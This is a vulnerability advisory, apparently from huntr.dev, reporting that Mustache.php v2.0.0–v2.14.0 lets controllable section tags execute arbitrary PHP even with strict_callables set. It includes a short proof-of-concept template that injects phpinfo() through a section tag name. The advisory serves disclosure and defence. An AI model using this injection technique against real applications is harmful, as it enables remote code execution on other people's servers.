Lucene search

K
huntrAltm4nA5F5A988-AA52-4443-839D-299A63F44FB7
HistoryJan 19, 2022 - 3:04 a.m.

None in bobthecow/mustache.php

2022-01-1903:04:52
altm4n
www.huntr.dev
6

0.001 Low

EPSS

Percentile

45.7%

Description

In Mustache.php v2.0.0 through v2.14.0, Sections tag can lead to arbitrary php code execution even if strict_callables is true when section value is controllable.

Proof of Concept

<?php
require 'vendor/autoload.php';


$m = new Mustache_Engine([
    'cache' => './cache',
    'strict_callables'=>true
  ]);
echo $m->render('{{# repo
phpinfo();//  }}
No repos :(
{{/ repo
phpinfo();//  }}', array('repo' =>array())); 

Impact

This vulnerability is capable of arbitrary command execution when attacker can control the value of tag

0.001 Low

EPSS

Percentile

45.7%